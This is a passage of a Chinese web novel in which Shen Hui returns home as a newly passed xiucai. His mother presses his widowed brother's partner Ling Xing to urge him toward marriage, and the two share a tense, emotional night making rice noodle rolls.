搞的卢秀才的孙子看凌月很不得劲,一方面羡慕凌月得童生,也觉得凌月很厉害。另一方面吃凌月的醋,他爷爷从来没有这样高兴过,更没这样夸过他。 里正得到消息,还和祝村长来了趟沈家,恭贺了一番。 得知沈回去州城继续考了,里正眉宇间都是笑意,直说期待沈回有好消息。 祝村长是除了沈家外,小柳村里最希望沈回考上秀才的。 若是沈回考上,那对他们村子是有益的。 小溪村因为有个卢秀才,都没人敢欺负他们村子。 秀才公那是能和大人物们面对面说话的。 和他们这些地里刨食的人,已经不算是一个层面上的了。 他们小柳村在这边没根基,出去找活干都抢不过别的村子。 其他村子也会抱团欺负他们,尤其是种地要浇水的时候。 周围村子都抢水,合起伙来排挤他们,让他们最后一个浇水。 他们等得了,粮食哪里等得了啊? 最后影响收成的也是他们,但又没处说理去,有苦难言。 可要是村子里有秀才公就不一样了,没人敢惹读书人。 更别提沈回和其他肩不能扛手不能提的读书人还不一样,搁他眼皮子底下闹,文的不行,还能来武的。 总之有的是治人的手段。 祝村长想想村子有秀才撑腰的场面,做梦都能笑醒,盼星星盼月亮,就盼着沈回中秀才。 凌星开了半天铺子,晚上回家的时候,把县里的事和沈家人说了一遍。 给沈家人听的一愣一愣,不由感叹,星哥儿这是命里带福啊! 同时也很感激凌星,他一直都记着他们,方子换东西,竟然都只想着要小五学医。 沈来更是感动的不行,扑进凌星怀里呜呜咽咽,“哥夫,你最最最最好!天下第一好!” 他终于能学医了! 凌月看一眼沈来的动作,收回视线后忍不住又看一眼。 最后也红着脸抱着凌星,有些沙哑的声音压的很低,一想到自己后面要说什么,就害羞的不行。 “阿月也觉得哥哥天下第一好。” 凌星和沈家人忍不住仰头笑起来,平日里小大人一样规矩守礼的崽崽,今天也学会撒娇吃醋了。 既然决定要去县里,那镇上的铺子和生意就需要尽快处理。 沈回院试结果很快就会出来,他回来就直接去县里,没时间耽误。 凌星也想好了怎么办,趁着家里人都在,直接说了自己的想法。 “镇上的小吃铺子,我想给三妹做。到时候可以让三妹夫下山,做夫妻店。” 腌菜手艺给了沈归,带小五学医,嫁出去的沈燕不好什么也没有。 镇上铺子生意给沈燕是最好的。 她做饭也很不错,学起来会轻松一些。 赵家人本来就多,少一个赵长命,反而还能给家里省下点口粮。 而且沈归腌菜多忙的时候,赵家能下山帮着忙赚点钱,更不会不同意让赵长命在山下长期做铺子。 赚钱的活,没道理往外推。 沈燕没想到还有她的事,说不感动不高兴是假,她都快高兴感动死了。 都说嫁出去的女儿和哥儿,是泼出去的水。家里爹娘和弟妹哥夫,不嫌弃她在家里住着已经很好,哥夫竟然还一门心思的想着拉拨她赚钱。 她红了眼眶,一时间说不出话来,她大哥夫,真的是顶好的人。 徐有芳摸了摸女儿的头发,感激的看向凌星,“星哥儿,谢谢你。” 凌星笑着摇头。 感情是相互的,沈家人对他好,所以他才会想着他们,希望他们也好。 沈燕要和凌星学做汤包,猪皮冻,凉皮,还有做芝麻酱以及其他自制的调料。 她听的认真,人也勤奋学的很快,但沈燕没学凉皮。 和之前凌星保持一致,凉皮依旧曹满月做,两人分成。 曹满月知道是三姐想着她,受了这份好意。 沈燕也和凌星商量好,铺子总收益和凌星五五分,每个月另给租金。 沈呈山做主发话,后面凌星不用再给公中交钱,他们还会另外给钱给凌星。 沈来要跟着他一起去县里,花销要钱。 这个钱,不能叫凌星出。 沈家人坚持,凌星只能点头同意。 徐有芳和沈呈山带着沈燕和孩子去了一趟山上,见赵家人。 赵长命到底是家里的劳动力,偶尔下山忙几天还好,一直待在山下,家里少个劳动力,到底还是不一样。 就算是对赵家好,也需要两家商量,而不是一家之言。 沈家二老是想定下的,那态度就要好一些,诚恳些。 不能让人觉得他家仗势欺人了,打着为人好的旗子,说什么就是什么。 赵家人看到沈家来人,那是欢迎的很,就没一个态度差的,全都笑脸相迎。 年前下山去沈家帮忙的几兄弟,都带着银钱回了家。 家里积蓄一下子多起来,过年都没以前那么死气沉沉的了。 就是赵长命一直闷闷不乐。 也是,只有他媳妇儿子不在家,一个人孤零零的,看着还挺可怜。 此时赵长命看到沈燕和孩子,脸上终于露出笑,眼睛一直盯着,想媳妇多看看他。 沈燕被盯的不好意思,这么多人在呢,她抱着孩子往徐有芳后面藏一些。 赵家二老本想着等开春暖和了,带点东西下山去接沈燕和孩子回家。 一直在娘家住着不是个事啊。 没成想沈家倒是先上山了。 赵老太及时上前拉着沈燕的手,欣慰道:“之前叫你受委屈了,回来就好,回来就好。” 沈燕在沈家这段时间吃的好,长了些肉,看着唇红齿白,神采奕奕的。 赵老太又看看孙子,也白胖了不少。 心里不由叹息,担忧的想:哎,亲家家里是真发达了,以后长命和燕儿,还能过到一起去吗? 赵家二老招呼沈呈山几人进屋坐,刘七花不似上次见面时的歇斯底里,而是恭敬的端了热水来。 家里穷,没茶叶,糖也没有,只能喝白水。 好在沈呈山和徐有芳也不在意。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 70-80 第71章 第 71 章 想念 寒暄几句后, 赵老太也看得出沈家二老过来,是有事相商。 她没想沈家为难,主动开口,“亲家公亲家母这次来, 可是有什么事需要我家的?” 徐有芳喝一口水, 顺着话头讲下去,“是有个事。” 说罢就没了声音。 赵老太了然, 叫家里的小辈都出去, 很快屋里就剩下赵家二老和沈家二老。 刘七花走到门外, 好奇的嘀咕一声,“有啥事是咱不能听的啊?” 她想趴墙根, 被赵长远直接拽走了。 屋里, 徐有芳朝着外头看一眼,见人都散开了,这才开口。 “燕儿大哥夫要去县里, 镇上的铺子准备给燕儿两口子干。” 赵家二老微愣,相视一眼, 心里自然有开心但也有纠结。 开心于老五能在山下过好日子,纠结也是只有老五去过好日子。 家里没分家,不患寡而患不均。 一家赚的多,其他家都赚的少, 时间长了这个家得出问题。 但要赵家一口回绝, 也做不到。 谁会和钱过不去呢。 徐有芳在高门大院里面待过, 她知道, 其实不论是有钱还是没钱,人过日子都是一样的。 为了钱权,父子都能成仇。 这样的机会, 和后面能赚到的银子,放在普通人家里,确实能掀起动荡。 弄不好的话,真会出事。 她心知赵家二老难办,对他们来说,都是自己孩子,也想家里能好好的过下去。 想了一会后,徐有芳提议道:“长圆媳妇和长安的夫郎,在农闲的时候可以去铺子里帮忙。” 赵七郎长圆,和赵九郎长安,之前就去沈家帮过忙,捉过作乱的坏人。 年前去山下收腌菜,两孩子也是下了苦力气干,空了还会帮着盖房子,一点不闲着。 两人中间差着岁数,隔着一个老八赵长平,不过他们的媳妇夫郎是差不多一年娶的。 赵家后面没钱了,给最小的赵长安说的是个哥儿。 好在赵长安也喜欢,这哥儿性子敦厚,踏实肯干,徐有芳见过两次,心里也喜欢。 赵长圆的媳妇年纪也不大,今年十七。因为上头哥哥急着成婚,缺银子,就急匆匆的把妹妹嫁了过来。 赵长圆排行第七,不过成亲却比老八赵长平晚,本来是要说给他的媳妇,但被老八抢去了。 也不能说是抢,就是两家相看的时候,这两人看对了眼。 赵长平在家闹,姑娘也哭哭啼啼要嫁弟弟不嫁哥哥。 强扭的瓜不甜,最后没办法就让赵长平先成亲。 等到赵长圆要成亲的时候,赵家更没钱了。 就还有两个儿子单着,赵老爷子寻思这不是个事,干脆带着一家子老少爷们,在山里蹲了好些天,合力猎了头鹿。 卖了之后正好给老七和老九各娶了媳妇和夫郎。 赵老太闻言一喜,这样一来就不是一家过于突出,其他兄弟几个都落后了。 她以为是年前下山的几个儿子的媳妇夫郎都去,没听到徐有芳提刘七花,寻思可能是忘了,就提醒一声。 也有意缓解妯娌两的关系,话说的很好听,“七花力气大,她要是去帮忙,重活都能干,叫燕儿尽管使唤。” 徐有芳轻轻笑了一声。 年前赵长远过去,她看着没说什么。 后来姑爷私下和她讲了原因,晓得刘七花是被利用了。也知道赵长远人不差,干活确实很好,比弟弟们更用心。 到底是一家子亲兄弟,姑爷记着哥哥难处,睁一只眼闭一只眼,不想三哥的小家鸡飞狗跳。 但她不是赵家人,没那么多的兄弟感情。 在她看来,就算是利用了,也不能掩盖刘七花欺负了她闺女的事实。 她就是不待见刘七花。 更重要的是这样容易被挑拨,做出那些事,脑子肯定不够用。 要是真叫她下山帮忙,铺子里迟早生祸患。 “亲家母,我说话难听,请亲家母别见怪。刘七花我是不会要的,别人说两句就直接给人当刀使,这要是到铺子里干活,再被人给利用了,铺子的损失谁来承担?” “这铺子要是我自己的,那还好说。关键是这铺子是星哥儿的,他日子过的也难,年纪轻轻就没了夫君,为我家大郎守着寡。我不能让他吃亏啊。” 赵老太听完也叹息一声,亲家母说的也对,老三媳妇眼见短,是真的不合适。 怪不了人家不愿意拉拨。 沈燕到底还是赵家的媳妇,徐有芳也不能把关系弄的太僵。 她道:“但你家长远跟着我家老四做腌菜,我是没一点意见。他好好做,钱肯定能积起来的。” 赵家二老又欣慰一笑,也是,老三能跟着做腌菜,足够了。 年前他们兄弟几个,可是一人拿了一两银子回来呢,而且脸还肉眼可见的胖了。 沈家对他们家已经够好,这门亲还想一直做下去的话,他们也得知足。 权衡一番后,赵家二老欣然同意徐有芳说的。 他们只字未提,没被徐有芳提到的几个儿子、媳妇。 还是那句话,想要这门亲事长久,就不能太贪心。人家帮的已经够多了,日子毕竟是赵家的日子,需要他们自己过起来。 在沈家帮了这么多的情况下,还能把日子过差了,那就是他们赵家的问题。 不过大郎还有老六、老八,以及他们媳妇那,肯定要好好说的。 但话说到底,也是因为这几个不想好好过日子,做那搅家精,好日子不想过成天搬弄是非,合该吃教训长脑子。 至于赵家后面发生了什么,赵家二老怎么处理的,沈呈山和徐有芳没过问。 只知道刘七花憋红了脸和沈燕说对不住,保证下次再也不埋怨沈燕。 大嫂和六弟妹,八弟妹虽然脸上不高兴,但也过来和沈燕道歉了。 徐有芳不在意她们高不高兴,她只要赵家当家人的态度是好的就行。 因为沈燕要继续跟着凌星学手艺,便同爹娘一起下山了。 孩子太小离不开娘,沈燕也不放心孩子在山上,同样带了下去。 这次她不嫌麻烦上来一趟,也是为了让公婆放心,让丈夫安心。 赵长命没有跟着一起下山,他等凌星去县城前再下去。 家里有不少活要干,正好趁着这段时间多干一点。 不然他总觉得心里难安,兄弟几个就他一个享福了。 赵家的事情解决,徐有芳睡了个好觉。 虽然头顶还悬着沈回这把大刀,不知道什么时候会落下来。 但她今天爬山下山的实在太累,能好好睡的时候,还是赶紧睡吧…… 接下来的日子,凌星每天开铺子都会带着沈燕一起去。 沈燕很勤快,眼里有活,学东西也认真。就连凌星怎么和人交谈,她都学的七八分。 后面要独当一面,绰绰有余。 之前因为沈回第一次在镇上住,凌星一下子有些不适应。 这次沈回直接人都不在,凌星其实还是不适应。 不过他这次隐藏的很好,让自己每天都很忙,没空发呆。 这回就连沈来都没察觉什么,只知道明明三姐也跟着一起做吃食,但哥夫比之前更忙了。 而铺子里生意也比之前更好了。 白天的凌星一直很活力,做生意做的如火如荼,很累,但钱也没少赚。 但夜深人静的时候,凌星总会突然清醒,然后睁眼对着黑漆漆的屋子发呆。 他不习惯。 不适应。 他其实很想沈回。 尤其是和沈燕在一起做生意的时候,简直就是无时无刻都在提醒他,沈回不在。 沈燕在做生意的时候,也很贴心的照顾着他,可凌星就是感觉和沈回不一样。 沈燕不会总注意着他,不让他靠近蒸汽。也不会在他停下,就递过来一碗温度正好的水。不会在他想洗手前,就打好水,在他想午睡前,就收拾好床铺…… 凌星知道,不是沈燕不好,而是沈回太好。 从第一次出去摆摊开始,他就被无微不至的照顾着,这样过了一年多,让他习惯了。 若不是因为这场分别,他可能会很晚才发现,自己这可怕的习惯。 以后…… 凌星抽泣了一声。 以后要是沈回娶妻了,他该怎么办啊。 他好怕自己改不掉这个习惯。 凌星闭上眼睛,眼角湿乎乎的,被泪水浸染。 他不喜欢晚上。 太安静了,他总会想沈回。 可家里人似乎并没有特别想沈回,大家很少会提起沈回。 这让凌星也不敢表露出来,他怕自己的表现,是不正常的。 …… 院试是三月十八日开始考,为期三天。 成绩是五日后出,州城到小柳村的路程需要七日。 沈回若是回家,最快也要到四月二日。 但在三月的最后一天晚上,沈家院门外传来敲门声。 外面趴着的乌雪耳朵动了动,随后起身对着门口汪汪汪的叫起来,尾巴摇个不停,整个狗都很激动。 一家人正在吃饭,沈归离灶屋门口最近,放下碗筷起身开门。 “谁啊?” “是我。” 外面传来低沉疲惫的回应,沈归听着熟悉的声音心中一喜,开门的速度都快起来。 他不忘转头对着灶屋喊,“二哥回来啦!” 院门打开的瞬间,乌雪冲了出去,直起身子往沈回身上扒,嘤嘤嘤个不停,尾巴将那块地面扫的十分干净。 沈回被乌雪黏着,阻碍了脚步,干脆直接拎着乌雪的后颈软肉。 粘人狗乌雪瞬间乖巧,吐着舌头卖萌,沈回轻笑一声后松开,乌雪嘤嘤两声就老老实实的贴着沈回腿侧。 好歹是让人走了。 “二哥!” 刚进门,里面又跑出来一个,直直的冲向沈回。 后面跟着徐有芳的怒吼声,“沈小五!大晚上的跑什么跑!再给摔了!” 沈来不听,和乌雪一个样,直接扑向沈回。 之前天天见面,沈来不觉得什么,甚至还有些怕沈回。但人突然消失这么多天,想也是真的想。 他情绪外放,喜怒都形于色,高兴了就要表达。 谁喊他都不好使。 沈回在人靠近的时候抬手,手腕轻巧一转,然后沈来也被沈回像拎乌雪一样,拎住了后领。 被控制住的沈来嘎了一声,呆愣愣的看向沈回,“二哥你干嘛呀?” 他都不好动了。 沈回把人放在安全距离,“一路风餐露宿,身上脏,别靠近我。” 沈来这才借着月光看清人。 扎起的头发有些凌乱,神色略显疲倦,眼下有明显青黑。 不过脏倒说不上。 脸上有些青茬,一看就是刚打理过,衣服也没有明显脏污,甚至凑近了还能闻到些皂角的清香。 沈来挠头。 他二哥怎么出去一趟,对自己的整洁度要求这么高了。 这样干净竟然还觉得脏? 该不会是考试考傻了吧! 他之前就听说好多人科考后,人直接发疯的。 从小带到大的弟弟,眼珠子一转沈回就知道他在想什么。 “把你脑子里那些奇怪想法丢掉。” 沈来移开视线,不太情愿,“哦。” 沈家人全都出了灶屋迎沈回,就连徐有芳也出来了。 这还是沈回第一次离家这样久,不可能不想念。 凌星吃饭时坐的位置靠里面,出来的慢,也不好挤开前面的沈呈山和徐有芳,便只在最后一排,垫着脚往前看。 许久不见,凌星很想快点看到人。 看到后也不想做什么,就只是想看看。 沈回的视线落在人群后一直动来动去的人身上,再没能收回来。 察觉到沈回看的人是谁后,徐有芳气的咬牙,什么想念统统不见,冷哼一声道:“都在外面吹什么冷风?快进去吃饭。” 因为徐有芳生气,沈家人的注意力全部从沈回身上移到她身上,沈呈山低头小声道:“你说你到底怎么了?孩子刚回来就不高兴?” “知道我不高兴还不快进屋!” 徐有芳丢下一句话,头也不回的进灶屋继续吃饭。 曹满月和沈燕对视一眼,又看一眼沈回,无奈摇头,也跟着进去落座。 凌月被沈来拽进屋里去,沈归也摇头叹气的往灶屋走。 倒是沈呈山还有些父爱在身,强撑着问了两句,“考的怎样?回来怎么这么快?吃饭了没?” 但没等沈回说话呢,腿已经迈进门槛,生怕再晚一点,惹徐有芳对他生气。 外面只有凌星在磨蹭,他看着沈回没移开视线,好一会后才不自觉的笑了起来。 “怎么把自己弄的这么颓?没睡觉嘛?” 沈回沉默着,在说与不说之间抉择。 “你瘦了。”凌星继续道:“我在准备做新吃食,要不要尝尝?” 沈回认真点头,“好。” 随后才回答凌星上一个问题。 他注视着凌星,声音疲倦,却又莫名的吸引人,“没睡觉,院试出结果后,该弄的东西弄完,就马不停蹄的赶了回来。” 顿了一瞬,沈回喉结滚动,幽深的黑眸锁着凌星的身影,“日夜兼程,因为想快点到家。” 凌星被看的莫名心慌,而沈回只是表达想快点回家的话,也因为他的视线似乎变了味道。 “……二郎、二郎受累了。” 凌星率先移开视线,感觉自己心跳有点快,转身匆匆进屋,没敢在外面继续待。 落座后,凌星摸了一下脸,有点烫。 一个月没见,他怎么感觉沈回哪里不一样了…… 徐有芳将凌星的反应收入眼中,她微微皱眉,沉默着继续吃饭。 沈回进屋后,沈呈山动了一下,要给沈回装饭。 见徐有芳没反应,这才放手动起来。 沈回道:“外面还有个车夫需要安顿。” 他为了赶路,和车夫交替着驾马车。 除了马休息的时间,其他时间都在赶路。 他急着回来见人,想的心口都发疼,再见不到人,他会疯的。 尽管每天都让马休息吃草,但马到府城的时候还是累坏了,死活不愿意再走。 马车和车夫都是林远安的好友安排的,沈回就去了林远安那,和他换了匹马继续赶路。 沈归正好吃好了,起身道:“二哥你坐,我去安排。” 沈回点头坐下,桌上没人说话,想说也不敢说,因为徐有芳看起来脸色更不好了。 倒是凌月实在好奇,忍了一会没忍住,小声的开口问,“沈二哥,你院试考中了没?” 闻言徐有芳动作一顿,抬头看沈回,其他人视线也都落他身上。 沈回偷偷看一眼凌星,又飞快的收回视线,像是不经意间瞥到。 “考中了。” 沈回中秀才了。 小柳村放起了鞭炮,噼里啪啦的响了一刻钟,震耳欲聋。 祝村长和里正二人全都来了沈家,沈家院子里院子外都是来看秀才公的村民。 沈家人昨天晚上已经高兴过了,这会情绪相对平静些,招呼着来恭贺的村民们。 凌星和沈燕,沈来没在家,去了镇上开铺子,沈归怕家里忙不过来,今天没出摊,留在家帮忙。 沈回被里正和祝村长围在中间,询问科考的一些情况。 祝村长懂得不多,能问出口的话也少。左右不过是考试累不累,考院冷不冷。 倒是里正懂得多,问他有没有拿到生员契,这是秀才的凭证。 沈回点头,“公布结果那天就发放了。” 不仅发放了生员契,还有宴请。 主要是邀请前三名参加了知州、学政设的宴。 剩下的学子,前二十名也有资格去,不过没有请帖。 但只要拿着生员契去宴请的地方,登记后就能进去。 沈回的名次在十九,其实也能去,不过他急着回家,是唯一一个有资格去,但没去的。 三人聊了一会,祝村长脸上的笑就没下去过,他说着说着就拐到了沈回的婚事上。 “二郎啊,你年岁也挺大的了,打算什么时候成家?” 沈回敛眸,“暂时没这个打算。” 祝村长一愣,下意识的看向徐有芳。 他老伴过年那会来问过,不是说同意相看吗? 徐有芳也听到了沈回的话,对祝村长笑道:“他脸皮薄,后面再说。” 祝村长点点头,现在人多,也确实不是说这些的时候。 人来的多,快中午了才打发走。 沈回关上院门,然后走向正在喂鸡的徐有芳,低声道:“娘,我不娶妻。” 徐有芳当没听见,继续喂鸡。 沈回:“娘……” 徐有芳懒得听,端着陶碗就走。 沈回揉着眉心站在原地,这一步不知道要如何踏出。 今天铺子里的生意很好,凌星已经开始和食客们说,铺子后面给沈燕做,他要去县里陪读。 但没说凌月去县学,只说是去县里念书。 县里私塾多,夫子好,举人没几个可秀才公多啊。 教童生那是绰绰有余的。 大家也能理解,都是为了孩子的前程嘛。 理解归理解,心里也不舍。 吃了一年多,都习惯了。 突然说要走,肯定会难受一下。 不过这难过在吃完沈燕做的汤包后,就消失不见了。 哎呀,口味差不多,好吃! 那不难过了,嘿嘿。 知道凌星要去县里,食客们卯足劲买,算是给他践行。 凌星今天手就没停过,累的回来就瘫床上,一根手指头都不想动,沈燕和沈来也没好到哪里去。 徐有芳进来的时候,凌星都快睡着了。 “星哥儿?” 凌星睁开眼,揉揉眼睛,声音懒洋洋的,“娘,是喊我吃饭嘛?” 徐有芳借着烛光看凌星,苦笑摇头,“娘想求星哥儿帮个忙。” “有什么是我能做的娘你说就是了。”凌星被徐有芳的神情吓一跳,一点瞌睡都没了,整个人直接坐了起来。 屋子里静悄悄的,沈来不知道什么时候出去了。 徐有芳坐在床边,看向凌星的眼神里,带着祈求。 “星哥儿,你能找二郎说说,叫他相看成婚吗?” 徐有芳压着心底的歉疚,她没办法了,只能这么做。 趁着星哥儿还没回应二郎之前。 “娘求你。” 第72章 第 72 章 心碎肠粉 凌星的脑袋有一瞬的空白, 他无意识的攥紧衣摆,喉间发紧,“娘为什么让我去说?” 而且还说,求他。 凌星感觉眼前有一层雾, 雾的后面藏着东西, 但若想要得到那个东西,需要付出巨大的代价。 可那东西又在引诱着人去探寻, 只要轻轻的拨开迷雾, 就能如愿以偿。 “二郎不知道为什么不想相看, 可他年纪不小了早该娶妻。娘同意他科考,走上仕途。可不想他的婚事沾染上功利, 被迫站队。” 徐有芳的话打断了凌星飘散的思绪。 “因为星哥儿和二郎相处的好, 而且大郎在世的时候,二郎很听大郎的话。你又是他哥夫,是大郎的未亡人, 你说的话,他会听的。” 徐有芳苦口婆心, 为着儿子的将来着想,拉着凌星的手,缓声道:“娘知道你一个哥儿不好开口说这些,所以娘求你帮忙, 好不好?” 仕途, 娶妻…… 凌星牙齿咬着唇内的软肉, 痛感让他清醒, 这是律法严明的大禹。 在凌星沉默的时间里,徐有芳的心越来越沉,都快要绝望了。 难不成是她感觉错了, 难不成星哥儿也喜欢上了二郎? 就在她绝望之际,凌星微不可查的点头,“好的娘。” 徐有芳哭着笑了一声,如释重负。 还好,还好有缓和的余地。 她知道,只要凌星开口,沈回就会对这段无法宣之于口的感情绝望。虽然会心痛,也只能死死按住,等过几年平静了,就可以回归正轨,再娶妻生子。 徐有芳了解儿子,尽自己所能,想让他回到阳光下的大道上去。 …… 去县里做生意开铺子,凌星准备多添一份肠粉。 县里的人比镇上的人更乐意花钱,肠粉做起来简单,快速,味道也很好。 加上需要用的料都有现成的,就是要另做个蒸箱出来。 他已经请木匠做了,过两天就能拿到。 顺便还另外做了有边缘的竹篾蒸盘,圆形和方形各十个。 圆形为了做凉皮,方形是按着蒸箱的大小定制,到时候做肠粉的。 篾匠编的快,表面光滑细密,刷一点油在上面,润滑的很,一点也不沾粘。 今天正好交货,直接送到沈家。 凌星白天的时候托曹满月泡了陈米。 吃完晚饭,凌星毫无困意。他点上油灯,准备磨米浆,今晚把肠粉试做一遍。 他刚把油灯点上,一转头就看见沈回过来,“哥夫要做什么?我来帮你。” 凌星看他已经开始挽起手腕衣袖,露出有力的小臂,上面爬着青筋,充满力量感。 明明和以前一样的动作,此刻凌星却快速移开视线。 他本想张口回绝,却又想到徐有芳说的话,顿了一下后点头。 对沈回道:“要磨米浆。” 做肠粉需要米浆水,里面加些土豆淀粉水,能让肠粉更劲道。 正好做汤包也需要淀粉,家里是长期备着的,不需要再另外弄。 沈回自然的嗯一声,“好,我去洗手,等我来磨。” 凌星摸一下耳朵,有点痒。随后坐在小磨边上,捣鼓着空木盆摆好,又去检查米泡的情况。 沈回很快就回来,径直坐下,动手磨米浆。 凌星只需要时不时的往小磨盘里面,加泡好的米就可以。 因为之前凌星说了晚上要试试新吃食,也不需要帮忙,沈家人和凌月收拾完就睡了。 徐有芳自是看见了沈回坐在小磨盘前,她没出声阻止,知道一切都会在天亮之前,变得正常。 院子里没有很黑,今晚的月亮很圆很亮,借着月光都能看清。加上还有三盏油灯环绕着点亮,一方小天地烛光温暖。 石磨转动起来,发出沉闷的嗡嗡声,沈回小臂肌肉与青筋更加的明显,凌星视线一烫,悄悄缩回。 长长的睫毛遮掩下,沈回并没有发现。 二人沉默无言,沈回直觉不太对劲。 以往的时候,凌星都会有说不完的话与他分享。 “哥夫心情不好?” 凌星摇摇头。 沈回没信,“吃晚饭的时候,你就有些心不在焉,发生什么事了吗?” 凌星微愣抬头,“二郎怎么知道我心不在焉?” 这下换沈回沉默了。 因为一直在偷看你。 但这话不能说。 “感觉的到。”沈回含糊道。 凌星点点头,实在是不知道怎么和沈回提相看成婚的事情。 但答应的事情总归要做,沈回的前途也很重要。 凌星心里一直做着心理准备,直到米浆都磨完了,沈回要端木盆的时候,他才很小声的开口,“二郎,你现在应该相看成婚了。” 凌星说完就低着头,手指扣着衣摆,不敢看沈回。 隔了一会后,凌星发现沈回没动静,他抬头一看,沈回不知什么时候端着米浆进灶屋去了。 凌星赶紧起身,进灶屋时见沈回在点油灯,屋子里亮堂起来。 沈回的神情没有什么变化,开口问凌星接下来做什么。 凌星回神道:“土豆淀粉水倒米浆里,再弄一些酱汁就可以。” “要烧火吗?”沈回平静的问。 凌星点点头,“要的。” “好。” 说罢沈回便坐在灶台前,准备等凌星需要的时候烧火。 凌星着手调配米浆,时不时的看向沈回。 油灯跳动的火光照映在他的脸上,勾勒出他俊朗的侧脸线条。 凌星心想估计是刚刚声音太小,沈回没听见他说什么。 他吐出一口气,再开口又要做好久的心理准备。 肠粉的米浆调配要有一些粘稠感,凌星搅拌着米浆,鼻息间全是米的清香。 黏稠度符合要求后,便准备切葱姜蒜,这些需要用猪油炒,再捞出。 背后伸来一只手,轻巧的接过凌星手中的刀,沉默不语的切着配料。 凌星近距离的看着沈回侧脸,才发现沈回不对劲。 他的腮边紧绷,脖子上青筋凸起,像是在极力的忍耐着什么。 眉宇之间,也能感觉到阴郁之气,黑眸藏在眼帘之下,隐没在阴影中,无法辨别里面是否在酝酿着风暴。 凌星张了张嘴,想说什么。 沈回先放下了刀,“切好了。” 凌星看着沈回又坐回灶前,一言不发的盯着灶口,他突然在想,沈回是不是在生气? 接下来烧火,炒料,捞料,倒调料,倒淀粉水,做酱汁。 全程沈回没再说一句话,灶屋只有锅里的声音还有烧火声。 安静的让人感觉心慌。 酱汁做好,沈回没让凌星动手,他把滚烫的酱汁装到陶盆里面。 又刷锅倒水,需要蒸肠粉。 定制的竹篾蒸盘边缘有一圈围挡,凌星不需要完全靠手腕力道控制,只需要直接将里面的米浆水晃平就好。 锅里的水烧开,蒸气迷漫,灶屋里的可见度降低了些。 沈回挡着凌星,隔绝锅里喷涌出的蒸气,把凌星晃好的竹篾蒸盘放锅上。 竹编盖子直接扣在蒸盘上,等待肠粉熟的短暂时间中,凌星感觉过了好久好久。 肠粉做的很成功,半透明的薄膜,用木片从边缘划开,朝着一边推去。 正式售卖的时候,可以选择加不加鸡蛋,肉酱这些。 这次就试试肠粉做法,还有酱汁的味道,因此没有这些辅料。 凌星沉默着用木片将篾盘里的肠粉切断,随后又取来一个木片,两手拿着将肠粉一起夹起来,放到盘子里。 酱汁已经冷却一些,稍有黏稠感,轻轻一搅动就散发出浓郁咸香。 凌星用勺子舀一些,均匀的淋在肠粉上。 他闻着食物的香气,想了一下后端起盘子,走到沈回身边。 沈回将锅灶里面的火灭掉,起身要清理竹篾盘时,感觉到衣摆被轻扯。 转头看去,凌星端着新鲜美味的吃食,冲他微笑着,带着安抚的意味。 “二郎,给你吃。” 稍顿片刻,又有些磕巴的,小声的说:“不、不要生气了……” 这一瞬间,沈回感觉自己被扼住的喉咙有了喘息的余地。胸腔中酸胀无比,再多的气闷都被戳破,往外散去。 他生气,也难堪。 气自己为什么是这个身份,难堪于在这种境况下,他连说一句不要的资格都没有。 他在想,或许这辈子,他都不可能等到眼前人,会把他当成一个男人,一个对他心生爱慕的男人来看待。 他在对方的眼中,永远都是夫君的弟弟。 沈回低头看着凌星,多么漂亮的人,真的像星星一样。 可这颗星,没有落在他的怀中,不属于他。 而他却偏偏想占有。 积压的情绪冲击着心脏,沈回骤然伸手,大手挡住凌星的眼睛。 凌星被力道推的往后一退,很快又感受到脑后被沈回另一只手扣住,防止他继续往后退。 他被禁锢住,而视线被剥夺,眼前只有黑暗。 其他的感官在黑暗中逐步放大,沈回的气息将他包裹。 凌星有些不适应,也有些不安。 高大的男人背脊微微弯着,轻轻颤抖,覆盖在凌星眼上的手背,滴落着泪滴。 眼泪划过手背往下,擦过凌星的唇,落在衣襟上。 凌星感觉到唇上微痒,轻抿着唇去除异样感,因感官剥夺,身体不安的挣扎一下,“二郎,你怎么了?先放……” “别动。”沈回喉间干涩,他的身上似乎压着沉重的大山,心脏被攥住,疼的无法呼吸。 他压抑的声音发颤,“以后、别再和我说相看成婚的事,成吗?” 再来一次的话,他真的受不住。 凌星没办法看见沈回现在是什么表情,但他听出了沈回在害怕。 遮盖在眼上的手掌,在发抖。 凌星在短暂的沉默后,选择顺从内心。 “好。” 至于娘那边,他明天好好说吧。 沈回得到回应,像是绝处逢生一般,低着头苦笑。 这么乖,不是他的。 隔了好一会,凌星终于又能看见了。 他抬头看沈回,对方很快撇开,声音有些低哑,“天色不早了,哥夫快点去休息吧。” 凌星微愣片刻,没问沈回刚刚为何捂住他的眼睛。 去镇上要早起,确实是不好再耽误,便把肠粉给沈回,“说了做新吃食给你尝尝的,别忘了吃。” 沈回想到昨天晚上凌星见他时说的话,嘴角无力轻扯,点头答应,“嗯。” 凌星洗漱完后回到屋里躺下,睁着眼睛睡不着,脑海里全是无意瞥见的,沈回微红的眼尾。 是烛光的原因吗? 还是…… 凌星抬起手,覆盖在自己的眼睛上。 科考入仕,律法森严,应该不是他想的那样。 翌日,徐有芳醒的比平时还要早。 她穿好衣服到灶屋,心里忐忑又期待。 结果推开门就看见一个黑影,是沈回坐在凳子上。 神情疲惫,衣服也没换,看来是一夜未眠。 徐有芳点上油灯,看向沈回不确定道:“你在这坐了一夜?” 沈回这才意识到,原来天快亮了。 他扭动一下脖子,让僵硬的身体舒服一些。 随即抬眼看徐有芳,眼里有红血丝,神色坚定,一张口声音哑的不能听,“娘,别再找他了。没用的,我不会放手。” 徐有芳听出话里的意思,沈回猜到了是她叫凌星让他相亲看成婚的事。 也看出来,即便是凌星对他根本没那份情,要他去相看成婚,沈回也不打算放弃。 徐有芳好奇,枯坐的这一夜,他到底想了些什么? 同时也有些意外,她好像低估了沈回的感情。 即便没结果,都不愿意松手。 是傻吗? 徐有芳不想真的看沈回就这样放任感情,继续下去,她怕出事。 这样的感情,本来也是不容许的,她只能压低声音怒道:“你别忘了你要科考入仕,你的感情是律法不允许的!” 坐了一夜,沈回也很疲惫,他不想周旋,直接道:“娘,我从来没想入仕。” “想科考,是因为我需要一个身份,能陪他进县衙。从头到尾,都只是为了能在任何场合,都可以站在他的身边。” 而不是眼睁睁的看着,让别人参与进来。 其实他娘能看出来也好,至少他不用后面再费尽心思的想,要怎么才能让他娘接受。 徐有芳惊讶的看着沈回,她没想到会是这样。 竟然为了这样的原因,大费周章的去科考? 她都不知道该说沈回傻,还是可怕。 他到底是怎么产生这些想法的! 